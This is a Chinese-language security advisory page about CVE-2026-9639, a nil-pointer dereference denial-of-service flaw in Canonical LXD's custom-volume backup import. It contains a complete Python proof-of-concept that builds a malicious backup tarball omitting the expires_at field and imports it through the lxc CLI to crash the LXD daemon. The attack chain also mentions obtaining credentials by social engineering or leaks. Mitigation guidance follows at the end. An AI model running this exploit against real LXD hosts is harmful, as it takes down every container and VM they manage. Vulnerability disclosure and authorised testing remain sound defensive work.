IPBUF安全漏洞报告
English
CVE-2026-9639 CVSS 6.5 中危

CVE-2026-9639 LXD CreateCustomVolumeFromBackup空指针解引用拒绝服务漏洞

披露日期: 2026-06-26

漏洞信息

漏洞编号
CVE-2026-9639
漏洞类型
空指针解引用(Nil-pointer Dereference)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Canonical LXD

相关标签

空指针解引用拒绝服务LXDCanonical容器安全LinuxDoSNil-pointer DereferenceCVE-2026-9639中危漏洞

漏洞概述

CVE-2026-9639是Canonical LXD容器管理平台中的一个中等严重性拒绝服务漏洞。该漏洞存在于LXD的CreateCustomVolumeFromBackup函数中,具体表现为空指针解引用(nil-pointer dereference)。LXD是Canonical公司开发的下一代系统容器和虚拟机管理器,广泛用于Linux系统上的容器化部署管理。

该漏洞影响LXD 5.21及以下版本以及LXD 6.8及以下版本,运行在Linux操作系统上。漏洞的CVSS 3.1评分为6.5分,属于中等严重等级。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。该漏洞对机密性影响低(C:L),对完整性无影响(I:N),但对可用性影响高(A:H),主要后果是导致LXD守护进程崩溃,造成拒绝服务。

该漏洞由[email protected](Ubuntu安全团队)发现并报告。攻击者需要拥有经过认证的LXD账户,并且该账户必须具有can_create_storage_volumes权限,才能利用此漏洞发起攻击。漏洞的触发条件是攻击者上传一个经过特殊定制的自定义卷备份tarball文件,该tarball故意省略了expires_at快照字段,从而在LXD解析备份元数据时导致空指针解引用,引发程序崩溃。

由于LXD是基础设施级别的容器管理工具,其守护进程的崩溃将影响所有托管的容器和虚拟机实例,可能导致业务中断和数据不可用。该漏洞已于2026年6月26日公开披露,Canonical已发布相应的安全公告GHSA-j93m-3j9p-m5m8及修复补丁。

技术细节

该漏洞的根本原因在于LXD的CreateCustomVolumeFromBackup函数在处理自定义卷备份恢复操作时,未对备份快照配置中的expires_at字段进行充分的空值检查。

在正常的自定义卷备份tarball结构中,包含一个snapshot配置文件(通常为backup.yaml或类似元数据文件),其中定义了快照的过期时间(expires_at字段)。当LXD的CreateCustomVolumeFromBackup函数解析备份数据时,会尝试读取并处理expires_at字段以设置快照的过期策略。

漏洞的触发流程如下:
1. 攻击者构造一个恶意的自定义卷备份tarball,其中快照配置文件中故意省略expires_at字段或将其设置为null;
2. 攻击者通过LXD API调用CreateCustomVolumeFromBackup,将恶意备份文件导入到目标LXD实例;
3. LXD守护进程在解析备份元数据时,尝试访问expires_at字段的底层数据结构;
4. 由于expires_at字段为nil/null,程序对该nil指针执行解引用操作;
5. 空指针解引用导致程序panic,LXD守护进程崩溃;
6. 所有依赖LXD管理的容器和虚拟机实例失去管理能力,造成拒绝服务。

利用条件要求攻击者必须拥有有效的LXD认证凭据,并被授予can_create_storage_volumes权限。这意味着该漏洞不能被未认证的远程攻击者利用,仅限于LXD环境内部已认证的恶意用户或被入侵的低权限账户。

修复方案包括在解析expires_at字段之前增加nil检查,确保在字段为空时使用合理的默认值或跳过相关处理逻辑。Canonical通过PR #18320和PR #18390提交了修复补丁。

攻击链分析

STEP 1
步骤1:获取LXD认证凭据
攻击者首先需要获取目标LXD实例的有效认证凭据。可以通过社会工程、凭据泄露、初始入侵后获得的低权限账户等方式获取。攻击者账户必须被授予can_create_storage_volumes权限。
STEP 2
步骤2:构造恶意备份tarball
攻击者使用PoC脚本或手动构造一个恶意的自定义卷备份tarball文件。该tarball的元数据(index.yaml/config.yaml)中故意省略expires_at快照字段,使其在解析时为nil值。
STEP 3
步骤3:上传恶意备份触发漏洞
攻击者通过LXD API(CreateCustomVolumeFromBackup)或lxc CLI命令将恶意备份tarball导入到目标LXD实例。LXD守护进程开始解析备份元数据。
STEP 4
步骤4:触发空指针解引用
当CreateCustomVolumeFromBackup函数解析expires_at字段时,由于该字段为nil,程序对该nil指针执行解引用操作,导致Go运行时panic。
STEP 5
步骤5:拒绝服务
LXD守护进程崩溃,所有通过该实例管理的容器和虚拟机失去管理能力。重启后如果攻击者再次触发,系统将再次崩溃,造成持续的拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-9639 PoC - LXD CreateCustomVolumeFromBackup Nil-Pointer Dereference This script generates a malicious custom-volume backup tarball that omits the expires_at snapshot field to trigger a nil-pointer dereference in LXD. """ import tarfile import io import yaml import struct import sys import os import argparse def create_malicious_backup(output_path, volume_name="evil-volume"): """Create a malicious LXD custom-volume backup tarball.""" # LXD backup index.yaml structure (without expires_at field) # The expires_at field is intentionally omitted to trigger nil-pointer dereference index_yaml = { "config": {}, "name": volume_name, "snapshots": [ { "name": "snap0", # "expires_at" field is intentionally omitted (nil-pointer trigger) "config": {} } ], "version": "1.0" } # Backup configuration config_yaml = { "volume": { "name": volume_name, "type": "custom", "config": {} }, "snapshots": [ { "name": "snap0", # Intentionally missing expires_at to trigger the vulnerability "timestamp": "2026-01-01T00:00:00Z" } ] } with tarfile.open(output_path, "w:gz") as tar: # Add index.yaml without expires_at field index_data = yaml.dump(index_yaml).encode('utf-8') index_info = tarfile.TarInfo(name="backup/index.yaml") index_info.size = len(index_data) tar.addfile(index_info, io.BytesIO(index_data)) # Add backup.yaml without expires_at field config_data = yaml.dump(config_yaml).encode('utf-8') config_info = tarfile.TarInfo(name="backup/config.yaml") config_info.size = len(config_data) tar.addfile(config_info, io.BytesIO(config_data)) # Add minimal volume data placeholder placeholder_data = b"\x00" * 4096 placeholder_info = tarfile.TarInfo(name=f"backup/volume/{volume_name}.bin") placeholder_info.size = len(placeholder_data) tar.addfile(placeholder_info, io.BytesIO(placeholder_data)) print(f"[+] Malicious backup tarball created: {output_path}") print(f"[+] Volume name: {volume_name}") print(f"[+] expires_at field intentionally omitted to trigger nil-pointer dereference") def exploit_lxd(backup_path, lxd_endpoint="https://127.0.0.1:8443"): """ Send the malicious backup to LXD API to trigger the vulnerability. Requires valid LXD authentication with can_create_storage_volumes permission. """ import subprocess import json print(f"[*] Target LXD endpoint: {lxd_endpoint}") print(f"[*] Malicious backup: {backup_path}") print(f"[*] Attempting to trigger nil-pointer dereference via CreateCustomVolumeFromBackup...") # Use LXD CLI to import the malicious backup cmd = [ "lxc", "storage", "volume", "import", "default", backup_path, "--pool=default" ] print(f"[*] Executing: {' '.join(cmd)}") print(f"[!] If vulnerable, LXD daemon will crash with nil-pointer dereference panic") try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) print(f"[*] stdout: {result.stdout}") print(f"[*] stderr: {result.stderr}") print(f"[*] return code: {result.returncode}") except subprocess.TimeoutExpired: print("[!] Command timed out - LXD daemon may have crashed (vulnerable!)") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-9639 PoC") parser.add_argument("-o", "--output", default="evil_backup.tar.gz", help="Output tarball path") parser.add_argument("-n", "--name", default="evil-volume", help="Custom volume name") parser.add_argument("-e", "--endpoint", default="https://127.0.0.1:8443", help="LXD endpoint") parser.add_argument("--exploit", action="store_true", help="Attempt exploitation") args = parser.parse_args() create_malicious_backup(args.output, args.name) if args.exploit: exploit_lxd(args.output, args.endpoint) else: print(f"\n[*] To exploit, run with --exploit flag") print(f"[*] Example: python3 {sys.argv[0]} --exploit -o /tmp/evil.tar.gz")

影响范围

Canonical LXD < 5.21.1
Canonical LXD 6.x < 6.9

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)审查并限制拥有can_create_storage_volumes权限的用户数量,仅向可信管理员授予该权限;2)在LXD API网关层面实施请求过滤,验证导入的备份tarball中是否包含必需的expires_at字段;3)部署LXD守护进程监控和自动重启机制,减少拒绝服务的影响时间;4)使用LXD的TLS认证和证书管理功能,确保只有授权客户端能访问API;5)考虑将LXD实例隔离在专用网络段中,限制潜在攻击者的网络访问范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表